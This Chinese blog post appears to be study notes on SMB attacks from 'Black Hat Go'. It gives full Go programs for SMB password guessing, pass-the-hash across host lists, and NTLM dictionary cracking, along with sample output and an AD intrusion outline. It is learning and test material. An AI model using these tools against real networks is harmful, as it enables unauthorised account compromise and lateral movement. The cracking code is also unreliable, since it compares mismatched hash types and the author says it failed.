文章目录
SMB协议常用于windows后渗透,该协议通常用于网络共享资源,如文件、打印机和串行端口,并允许通过命名管道在分布式网络节点之间进行进程间通信。使用SysInternals的PsExec(注意带微软签名)工具可以做到远程命令执行。
另外,SMB还可以处理NTLM验证,如远程密码猜解、基于散列的身份验证(pass the hash)、SMB中继,和NBNS/LLMNR欺骗。
GO的SMB包:
- github.com/stacktitan/smb/smb
- github.com/blackhat-go/bhg/ch-6/smb/smb
以上两个库非官方、非标准可靠,相比之下,python倒是有pysmb库。
SMB协议比较复杂,这里至少要了解的是,运用反射在运行时检查接口数据类型,定义结构体将数据序列化、反序列化。
1. 理解SMB
- 类似于HTTP的应用层协议;
- 二进制协议,而HTTP是ASCII可读文本协议;
- 版本(又叫方言,dialect)有2.0,2.1,3.0,3.0.2,3.1.1等,C/S两边要事先约定好版本,windows会选择两边均支持的最新版本(win7开始是2.1);
Token
SMB消息会包含与身份验证相关的安全令牌。身份验证机制有两种:
- NtlmSSP,即lsass.exe, Local Security Authority Service,本地安全授权服务;
- Kerberos
难以实现的原因:
- 身份验证机制和SMB规范是分开的
- 混合编码:身份验证令牌还使用了ASN.1(Abstract Syntax Notation One,抽象语法标记)编码,
相关规范:
- MS-SMB2, 关注最多:
- MS-SPNG,RFC 4178
- MS-NLMP, 与NtlmSSP令牌结构以及质询-响应格式相关;
- ASN.1
混合编码
本部分依赖的库:
- https://golang.google.cn/pkg/encoding/asn1/
- https://golang.google.cn/pkg/encoding/binary/
先看一个结构体:
type FOO struct{
X int
Y []byte
}
type MSG struct{
A int // binary
B FOO // ASN.1
C bool // binary
}
其中,B需要ASN.1编码,A和C则是二进制编码,这就是混合编码。像是json和xml,则编码所有字段,简单直接。
type BinaryMarshallable interface {
MarshalBinary(*Metadata) ([]byte, error)
UnmarshalBinary([]byte, *Metadata) error
}
元数据和引用字段
关注:
- encoder.go, parseTags()
- encoder.go, unmarshal,switch typev.Kind()各种case,包括struct, uint, slice及array
2. 域内密码猜解
如果测试机器是32位,记着设置一下GOARCH:
set GOARCH=386
powershell则是这样设置:
$env:GOARCH=386
源码:
package main
import (
"bytes"
"fmt"
"io/ioutil"
"log"
"os"
"github.com/blackhat-go/bhg/ch-6/smb/smb"
)
func main() {
if len(os.Args) != 5 {
log.Fatalln("Usage: main </user/file> <password> <domain> <target_host>")
}
// 1. read the user list line by line
buf, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
options := smb.Options{
Password: os.Args[2],
Domain: os.Args[3],
Host: os.Args[4],
Port: 445,
}
users := bytes.Split(buf, []byte{'\n'})
for _, user := range users {
options.User = string(user)
session, err := smb.NewSession(options, false) // negotiate the dialect(version) and authentication, then authenticate
if err != nil {
fmt.Printf("[-] Login failed: %s\\%s [%s]\n",
options.Domain,
options.User,
options.Password)
continue
}
defer session.Close()
if session.IsAuthenticated {
fmt.Printf("[+] Success : %s\\%s [%s]\n",
options.Domain,
options.User,
options.Password)
}
}
}
普通机器:
C:\Users\starr\Desktop>main c:\Users\starr\Desktop\users.txt xxx \\starr-p
c starr-pc
[-] Login failed: \\starr-pc\administrator [xxx]
[-] Login failed: \\starr-pc\bob [xxx]
[-] Login failed: \\starr-pc\alice [xxx]
[+] Success : \\starr-pc\starr [xxx]
域内:
C:\Users\foo\Desktop>main c:\Users\foo\Desktop\users.txt xxx \\foobar.domain dc.foobar.domain
[+] Success : \\foobar.domain\administrator [xxx]
[-] Login failed: \\foobar.domain\bob [xxx]
[-] Login failed: \\foobar.domain\alice [xxx]
3. Pass The Hash
PTH攻击比一般AD域入侵更便捷,可以提权、横移等。
利用漏洞进行AD域入侵路线:
- 利用漏洞exp获得网络立足点;
- 提权;
- 从lsass提取hash或明文凭证;
- 尝试离线破解hash获取管理员密码;
- 尝试使用管理员凭证对其他主机进行身份验证,查找可能的密码重用;
- 反复尝试,直到拿下域管理员。
但如果使用NtlmSSP身份验证机制,即使在3、4步没能破解,也能在第5步直接使用NTLM散列进行SMB身份验证,即PTH,本质是因为PTH能使hash计算独立于质询-响应令牌计算。
NtlmSSP规范定义了两个函数:
- NTOWFv2,相关链接:NTLM v2 Authentication | Microsoft Docs
- CompeteResponse,它使用NTLM hash, 质询、时间戳、目标服务器名称等,生成GSS-API 令牌,相关链接:
- GSS-API GSSAPI 介绍 通用的安全机制_whatday的专栏-CSDN博客_gssapi
源码:github.com/blackhat-go/bhg/ch-6/smb/ntlmssp
// generation of nthash has no concern with this function
// username, password, domain are not needed
func ComputeResponseNTLMv2(nthash, lmhash, clientChallenge, serverChallenge, timestamp, serverName []byte) []byte {}
pth源码:
package main
import (
"bytes"
"fmt"
"io/ioutil"
"log"
"os"
"github.com/blackhat-go/bhg/ch-6/smb/smb"
)
func main() {
if len(os.Args) != 5 {
log.Fatalln("Usage: main <target/hosts> <user> <domain> <hash>")
}
buf, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
options := smb.Options{
User: os.Args[2],
Domain: os.Args[3],
Hash: os.Args[4],
Port: 445,
}
targets := bytes.Split(buf, []byte{'\n'})
for _, target := range targets {
options.Host = string(target)
session, err := smb.NewSession(options, false)
if err != nil {
fmt.Printf("[-] Login failed [%s]: %s\n", options.Host, err)
continue
}
defer session.Close()
if session.IsAuthenticated {
fmt.Printf("[+] Login successful [%s]\n", options.Host)
}
}
}
与猜解不同的是,option填充的字段为hash。
不过测试使用mimikatz获取ntlm后,没有成功建立会话。。。
3. 恢复NTLM密码
有些服务,比如RDP, Outlook等,不支持hash验证,必须用明文密码。这时还是需要破解hash。
源码:github.com/blackhat-go/bhg/ch-6/smb/ntlmssp, NewAuthenticatePass(), NewAuthenticateHash()
func NewAuthenticatePass(domain, user, workstation, password string, c Challenge) Authenticate {
// Assumes domain, user, and workstation are not unicode
nthash := Ntowfv2(password, user, domain)
lmhash := Lmowfv2(password, user, domain)
return newAuthenticate(domain, user, workstation, nthash, lmhash, c)
}
func NewAuthenticateHash(domain, user, workstation, hash string, c Challenge) Authenticate {
// Assumes domain, user, and workstation are not unicode
buf := make([]byte, len(hash)/2)
hex.Decode(buf, []byte(hash))
return newAuthenticate(domain, user, workstation, buf, buf, c)
}
下面是根据明文字典暴力破解hash源码:
package main
import (
"bytes"
"encoding/hex"
"fmt"
"io/ioutil"
"log"
"os"
"github.com/blackhat-go/bhg/ch-6/smb/ntlmssp"
)
func main() {
if len(os.Args) != 5 {
log.Fatalln("Usage: main <password/dictionary/file> <user> <domain> <hash>")
}
hash := make([]byte, len(os.Args[4])/2)
_, err := hex.Decode(hash, []byte(os.Args[4]))
if err != nil {
log.Fatalln(err)
}
// read plain text from dict line by line
f, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
var found string
passwords := bytes.Split(f, []byte{'\n'})
for _, password := range passwords {
h := ntlmssp.Ntowfv2(string(password), os.Args[2], os.Args[3])
if bytes.Equal(hash, h) {
found = string(password)
break
}
}
if found != "" {
fmt.Printf("[+] Recovered password: %s\n", found)
} else {
fmt.Println("[-] Failed to recover password")
}
}
测试还是失败了,经过调试(或print大法),Ntowfv2计算出来的字符串和mimikatz提取出来的ntlm不一样…
—_—|